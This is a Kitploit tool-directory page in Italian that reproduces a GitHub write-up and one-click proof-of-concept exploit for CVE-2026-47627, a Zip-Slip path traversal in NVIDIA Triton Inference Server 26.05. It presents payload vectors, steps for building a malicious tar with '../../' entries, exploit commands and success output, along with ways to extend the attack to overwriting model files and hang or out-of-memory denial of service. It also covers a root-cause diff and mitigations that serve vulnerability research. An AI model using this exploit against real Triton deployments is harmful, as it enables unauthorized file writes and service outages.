Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-47627 — Proof-of-concept exploit per CVE-2026-47627, una vulnerabilità di path traversal in NVIDIA Triton Inference Server che porta alla scrittura arbitraria di file tramite Zip-Slip. Include analisi dettagliata, ambiente di laboratorio e script di exploit con un clic. | Kitploit
Strumenti/GitHubGitHub/anekazek/cve-2026-47627
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubanekazek/cve-2026-47627

cve-2026-47627

Proof-of-concept exploit per CVE-2026-47627, una vulnerabilità di path traversal in NVIDIA Triton Inference Server che porta alla scrittura arbitraria di file tramite Zip-Slip. Include analisi dettagliata, ambiente di laboratorio e script di exploit con un clic.

Vedi Repository
3922 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-47627 — NVIDIA Triton Inference Server Path Traversal → DoS (Zip-Slip)

Writeup completo dei risultati della ricerca e PoC in questo repo (immagine nvcr.io/nvidia/tritonserver:26.05-py3 / server v2.69.0). Il repo è configurato per essere sempre explicit così il PoC funziona senza riavvio via gRPC.


Indice

  1. Riepilogo CVE
  2. Ambiente di Laboratorio
  3. Anatomia della Vulnerabilità
  4. Analisi della Root Cause (Diff 26.05 → 26.06)
  5. Percorsi di Sfruttamento: Quali Sono Realmente Colpiti?
  6. PoC Principale: Zip-Slip via EXECUTION_ENV_PATH
  7. Come Eseguire il PoC (One-Click)
  8. Prova di Traversal (Non un Falso 500)
  9. Impatto DoS
  10. Mitigazioni
  11. Struttura del Repo (Dopo la Pulizia)
  • Riferimenti e Timeline

  • 1. Riepilogo CVE

    CampoValore
    CVECVE-2026-47627
    CNA[email protected]
    Pubblicazione2026-08-18 (NVD in Attesa di Analisi)
    BollettinoNV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865
    CVSS 3.19.8 CRITICO AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    CWECWE-22 Path Traversal
    Versioni Affette0.0-26.05 (server v2.69.0 / core r26.05)
    Corretta in26.06 (server v2.70.0 / core r26.06)
    ImpattoDoS (descrizione CNA) — questa ricerca dimostra scrittura di file fuori da /models via Zip-Slip, che può essere estesa a DoS/esaurimento risorse
    CreditiMartin Brodeur

    Nota onesta: La descrizione CNA riporta solo path traversal → DoS senza dettagli. Questo writeup ricostruisce la posizione del bug tramite diff r26.05..r26.06 e test diretti nel container 26.05-py3.


    2. Ambiente di Laboratorio

    Immagine: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)

    Compose sempre explicit (già patchato in questo repo):

    root@kitploit:~
    # docker-compose.yml:12
    command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
    

    Anche run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 sono già explicit.

    Modalità Triton:

    • NONE (default upstream) → carica una volta all'avvio, POST /v2/repository/models/.../load → 503, bisogna riavviare per caricare nuovi modelli.
    • POLL → esegue la scansione del repo ogni secondo, auto-carica, blocca comunque il caricamento esplicito.
    • EXPLICIT (questo repo) → non esegue scansioni, ma apre gRPC load_model / POST /load → PoC senza riavvio via gRPC.

    Porte: | 8000 | HTTP REST | v2/health, v2/models, v2/repository | | 8001 | gRPC | RepositoryModelLoad, ModelInfer | | 8002 | Metriche | Prometheus |

    Modelli iniziali:

    root@kitploit:~
    model_repository/
    ├── echo_python/ (backend python, model.py)
    │   └── 1/model.py
    └── identity_onnx/ (onnxruntime, model.onnx ~1KB)
    

    Avvio rapido:

    root@kitploit:~
    docker compose up -d
    docker compose logs -f
    py scripts/client_test.py  # health + infer identity_onnx
    

    3. Anatomia della Vulnerabilità

    root@kitploit:~
    Input utente (model_name / voce tar) ──► join(parent, child) ──► canonicalize ──► controllo "child dentro parent?" ──► apertura file
             │                                    │                     │                         │                     │
             └──► "../tmp/pwn"               /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn    rfind vs find + controllo '/'    FileExists / estrazione
    
    • Se join senza canonicalize o controllo rfind(parent,0)==0 errato (corrispondenza parziale /models vs /models_evil), allora ../ può fuoriuscire.
    • DoS si verifica se il file attraversato è una FIFO, /dev/zero, /proc/self/mem, o un tar contenente ../../ che sovrascrive file di sistema → hang / OOM / crash.

    Tre domande di ricerca (dal report iniziale):

    1. Dove l'utente controlla il percorso? → model_name in gRPC RepositoryModelLoad, voce tar EXECUTION_ENV_PATH, override file:, TRITON_BATCH_STRATEGY_PATH.
    2. Come viene usato il percorso? → posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.
    3. Qual è l'impatto? → DoS via esaurimento risorse / hang. In questo repo è dimostrata la scrittura di file in /tmp/poc_marker.

    4. Analisi della Root Cause (Diff 26.05 → 26.06)

    Repo core (r26.05..r26.06):

    1. src/filesystem/api.cc:407 IsChildPathEscapingParentPath — fix dcb315d + 72f3d9b:

      root@kitploit:~
      // VULNERABILE (r26.05):
      absolute_child.rfind(absolute_parent,0) != 0
      // → bug di corrispondenza parziale: il prefisso "/models" di "/models_evil/file" è considerato interno
      
      // CORRETTO (r26.06):
      canonical_child.find(canonical_parent,0)==0 &&
      ((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
      // → deve esserci '/' dopo il prefisso, "/models_evil" ora è correttamente esterno
      

      Usato in src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) e src/model_repository_manager/model_repository_manager.cc:162 (file:).

    2. src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (marzo 2026, già in 26.05 ma rafforzata in 26.06):

      root@kitploit:~
      if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
      

      Questo fa sì che gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT in 26.05 (già bloccato). Ma %2f (/ codificato) passa perché non è un / letterale → 500 poll letterale.

    3. python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 test zipslip_test.py: Il tar viene estratto senza controllo di .. / percorsi assoluti. La voce ../../poc_marker da /models/poc_exploit/malicious_env.tar.gz viene estratta in /tmp/poc_marker (fuori dalla directory del modello). Fix in 26.06: usa ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + controllo IsChildPathEscapingParentPath.

    Repo server (r26.05..r26.06): solo sagemaker_server.cc:1027 (controllo RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), non sono il percorso di questa CVE.

    Conclusione: Il percorso model_name via HTTP/gRPC è già bloccato in 26.05 da ValidateModelName, ma lo Zip-Slip del tar non lo è — è questo che viene sfruttato dal PoC di questo repo.


    5. Percorsi di Sfruttamento: Quali Sono Realmente Colpiti?

    VettorePayloadRisultato 26.05Colpito?
    HTTP raw ../POST /v2/repository/models/../tmp/pwn/load404 (routing normalizzato)❌
    HTTP codificato ..%2fPOST /v2/repository/models/..%2ftmp%2fpwn/load500 letterale, poll /models/..%2ftmp%2fpwn non esiste❌ (500 falso, non traversal)
    gRPC raw ../tmp/pwnload_model('../tmp/pwn')400 INVALID_ARGUMENT❌ (già bloccato)
    gRPC codificato ..%2fload_model('..%2ftmp%2fpwn')500 poll letterale❌
    Override file: ../models_evilfile:../models_evil/pwn400/500 a seconda della corrispondenza parziale⚠️ (dipende dal bug IsChildPathEscapingParentPath, ma già bloccato da ValidateModelName per model_name)
    Tar EXECUTION_ENV_PATH ../../poc_markermalicious_env.tar.gz voce ../../poc_marker200 + file in /tmp/poc_marker✅ VULNERABILE

    L'analogia 500 vs 400 nel vecchio writeup era sbagliata: 500 = file non esistente (porta inesistente), 400 = rifiutato dalla validazione (porta chiusa a chiave). Nessuno dei due entra. Solo 200 + file in /tmp è una prova.


    6. PoC Principale: Zip-Slip via EXECUTION_ENV_PATH

    Idea: Il parametro EXECUTION_ENV_PATH del backend Python punta a $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. Quando viene eseguito load_model('poc_exploit'), il backend pb_env.cc:292 estrae il tar senza sanitizzazione. La voce ../../poc_marker fuoriesce da .../poc_exploit/ verso /tmp/poc_marker.

    Passaggi del PoC (automatici in scripts/exploit.py:28 & exploit.ps1:20):

    1. Copia echo_python → poc_exploit (scripts/exploit.py:35)
    2. Aggiungi config.pbtxt (scripts/exploit.py:40):
      root@kitploit:~
      parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
      
    3. Crea il tar (scripts/exploit.py:44):
      root@kitploit:~
      TarInfo(name='../../poc_marker', size=6, mode=0o644)  # → /tmp/poc_marker
      TarInfo(name='bin/activate', mode=0o755)
      
    4. Attiva gRPC load_model('poc_exploit') (scripts/exploit.py:60) — senza riavvio perché explicit.
    5. Verifica docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)

    7. Come Eseguire il PoC (One-Click)

    Prerequisiti: Docker, immagine 26.05-py3 già avviata con docker compose up -d (il repo è già explicit).

    Python (senza riavvio, via gRPC):

    root@kitploit:~
    py scripts/exploit.py              # auto-rileva explicit → gRPC
    py scripts/exploit.py --keep       # mantiene gli artefatti per verifica manuale
    # verifica manuale: docker exec tritonserver-test cat /tmp/poc_marker
    # pulizia manuale: docker exec tritonserver-test rm -f /tmp/poc_marker
    

    PowerShell:

    root@kitploit:~
    powershell -ExecutionPolicy Bypass -File exploit.ps1
    powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
    

    Ripristina a MODE_NONE (se vuoi il default upstream):

    root@kitploit:~
    # modifica docker-compose.yml:12 rimuovendo --model-control-mode=explicit
    docker compose up -d --force-recreate
    

    Test di blocco (deve dare 400/404/500, non 200):

    root@kitploit:~
    py scripts/test_http_grpc_blocked.py  # era nel vecchio repo, ora rimosso — usa il log di exploit.py
    # oppure manuale:
    curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}"  # 500
    py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')"  # 400
    

    8. Prova di Traversal (Non un Falso 500)

    Vulnerabile (26.05) — output di exploit.py:

    root@kitploit:~
    [*] Triggering exploit via gRPC load (no restart)...
    [+] gRPC load sent
    [+] VULNERABLE: /tmp/poc_marker exists outside /models
        cat: pwned
    [+] Exploit succeeded — file write outside repository confirmed
    

    Verifica:

    root@kitploit:~
    docker exec tritonserver-test ls -l /tmp/poc_marker  # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
    docker exec tritonserver-test cat /tmp/poc_marker   # pwned
    docker logs tritonserver-test --tail 20 | grep Extracting  # Extracting Python execution env .../malicious_env.tar.gz
    

    Patchato (26.06) — atteso:

    root@kitploit:~
    [-] Not vulnerable: /tmp/poc_marker not found
    # log: Path contains '..'  (oppure Path is absolute)
    

    HTTP/gRPC .. deve dare 400, non 500:

    root@kitploit:~
    # 26.05 gRPC raw ../ → 400 INVALID_ARGUMENT (già bloccato da ValidateModelName)
    # 26.05 gRPC ..%2f → 500 poll letterale (bypassa la validazione ma non è un vero traversal)
    # 26.06 entrambi → 400
    

    9. Impatto DoS

    Il CNA scrive DoS, ma questo Zip-Slip può fare sovrascrittura di file → DoS:

    • Sovrascrive model.py / config.pbtxt di altri modelli → il modello non si carica → 503
    • Tar contenente un grande bin/activate o FIFO /tmp/fifo → thread pb_env.cc in hang → UNAVAILABLE
    • Flood di load_model con tar ../../dev/zero (infinito) → OOM

    Questo repo si concentra sulla scrittura di file come prova del traversal; il DoS può essere esteso con un tar contenente 1/model.py con loop infinito.


    10. Mitigazioni

    1. Patch: 26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.
    2. Workaround 26.05:
      • Non esporre 8000/8001 a internet (reverse proxy + autenticazione)
      • WAF che blocca .. e %2f negli URL e in EXECUTION_ENV_PATH
      • Disabilitare EXECUTION_ENV_PATH del backend Python se non necessario
    3. Rilevamento: docker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f"

    11. Struttura del Repo (Dopo la Pulizia)

    root@kitploit:~
    .
    ├── model_repository/
    │   ├── echo_python/          # esempio backend python
    │   └── identity_onnx/        # esempio onnxruntime
    ├── scripts/
    │   ├── exploit.py:1          # PoC principale (Python, oneclick, gRPC, no restart)
    │   ├── generate_model.py     # rigenera identity_onnx
    │   └── client_test.py        # test health + infer
    ├── exploit.ps1:1             # PoC principale (PowerShell, oneclick)
    ├── docker-compose.yml:12     # sempre explicit
    ├── run_triton.bat:10 / .ps1:11 / .sh:12  # sempre explicit
    ├── requirements.txt          # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
    └── README.md                 # questo writeup
    

    Rimossi: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.


    12. Riferimenti e Timeline

    • Bollettino NV 5865: https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)
    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (In Attesa di Analisi)
    • Commit di fix core r26.06: dcb315d (Modernize Child Path), 72f3d9b (test child path), e520f8c7 (test zipslip), 50830ba/66f09f8 (ValidateModelName)
    • Fix server r26.06: v2.70.0 (690f9dd)
    • Crediti: Martin Brodeur
    DataEvento
    2026-03-03core#472 ValidateModelName
    2026-03-16core#481 trim POSIX
    2026-05-18core#497 IsChildPathEscapingParentPath
    2026-06-02server#8857 test zipslip
    2026-06-2626.06 / v2.70.0 rilascio patch
    2026-08-18Pubblicazione CVE
    2026-09-02PoC di questo repo verificato su 26.05-py3 → VULNERABLE

    Note

    Questo PoC è per scopi educativi e laboratorio chiuso. Non esporre 8000/8001 senza autenticazione. Dopo la demo esegui sempre exploit.py --keep e poi docker exec tritonserver-test rm -f /tmp/poc_marker e Remove-Item -Recurse model_repository/poc_exploit.

    Scarica lo strumento